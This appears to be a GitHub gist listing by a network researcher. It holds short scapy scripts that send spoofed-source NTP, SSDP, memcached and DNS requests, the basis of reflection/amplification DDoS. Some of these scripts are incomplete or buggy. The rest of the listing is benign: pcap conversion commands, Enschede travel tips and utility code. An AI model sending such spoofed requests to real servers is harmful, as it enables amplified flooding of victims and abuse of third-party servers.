Skip to content

Instantly share code, notes, and snippets.

View jjsantanna's full-sized avatar

jjsantanna jjsantanna

View GitHub Profile
@jjsantanna
jjsantanna / spoofed_ntp_requesty.py
Last active March 6, 2018 13:58
Spoofed NTP request with scapy
from scapy.all import *
spoofedIPsrc=""
NTPserver="59.188.133.225"
ntpRequest = IP(src=spoofedIPsrc,dst=aNTPserver) / UDP(dport=123,sport=50000)/("\x1b\x00\x00\x00"+"\x00"*11*4)
sr1(ntpRequest)
@jjsantanna
jjsantanna / spoofed_ssdp_request.py
Last active January 13, 2023 12:52
Spoofed SSDP request using scapy
from scapy.all import *
fake_mac=""
spoofedIPsrc=""
SSDPserver=""
payload = "M-SEARCH * HTTP/1.1\r\n" \
"HOST:"+SSDPserver+":1900\r\n" \
"ST:upnp:rootdevice\r\n" \
"MAN: \"ssdp:discover\"\r\n" \
"MX:2\r\n\r\n"
@jjsantanna
jjsantanna / sflow2pcap.sh
Last active March 8, 2018 13:15
sflow to pcap
sflowtool -t | tcpdump -r - > convertedfile.pcap
#http://www.inmon.com/technology/sflowTools.php
@jjsantanna
jjsantanna / pcapng2pcap.sh
Created March 8, 2018 11:52
Convert pcapng to pcap
editcap -F libpcap -T ether file.pcapng file.pcap
nfdump -f <pcap_file>
# Read netflow packets from a give pcap_file instead of the network.
# This requires nfcapd to be compiled with the pcap option and is intended for debugging only.
# In case you have installed nfdump through a packet repository, the chance is high that it is not
# compiled with the required --enable-readpcap flag (which is default off).
@jjsantanna
jjsantanna / pra_chegar_em_enschede.md
Last active March 12, 2018 13:49
Dicas pra ajudar a chegar e se hospedar em Enschede

Dicas pra ajuda a chegar e se hospedar em Enschede

Avião

Enschede está na fronteira entre a Holanda e a Alemanha. Então temos 4 opções de aeroportos (pra vôos internacionais). Aí do aeroporto pra Enschede suguiro vir de trem ou alugar um carro. Pra você ter uma ideia, seguem as distâncias:

  • Amsterdam, Holanda (chamado de Schipol) (173km) €25.00
  • Dusseldorf, Alemanha (136km) €20.00
  • Dortmund, Alemanha (131km) €20.00
  • Cologne Bonn, Alemanha (181km) €20.00
@jjsantanna
jjsantanna / datetime2timestamp.py
Created March 13, 2018 14:30
datetime 2 timestamp
def datetime_converter(text):
try:
return pd.to_datetime(text,format='%Y-%m-%d %H:%M:%S')
except AttributeError:
return text
from scapy.all import *
spoofedIPsrc=""
memcachedServer=""
memcached_stats = "\x00\x01\x00\x00\x00\x01\x00\x00\x73\x74\x61\x74\x73\x0d\x0a"
memcachedRequest = IP(src=spoofedIPsrc,dst=memcachedServer)/UDP(sport=12345, dport=11211)/memcached_stats
sr1(memcachedRequest)
from scapy.all import *
dnsServer="8.8.8.8"
query="utwente.nl"
spoofedIPsrc=?????
dnsRequest = IP(src=spoofedIPsrc,dst=dnsServer)/UDP(sport=12345,dport=53)/DNS(qd=DNSQR(qname=query, qtype="A",qclass="IN"))
sr1(dnsRequest)
@jjsantanna
jjsantanna / countdown.py
Created March 20, 2018 10:23
Countdown deadline
#!/usr/bin/python
from Tkinter import *
import ttk
import tkFont
#from Tkinter import font
import time
import datetime
global endTime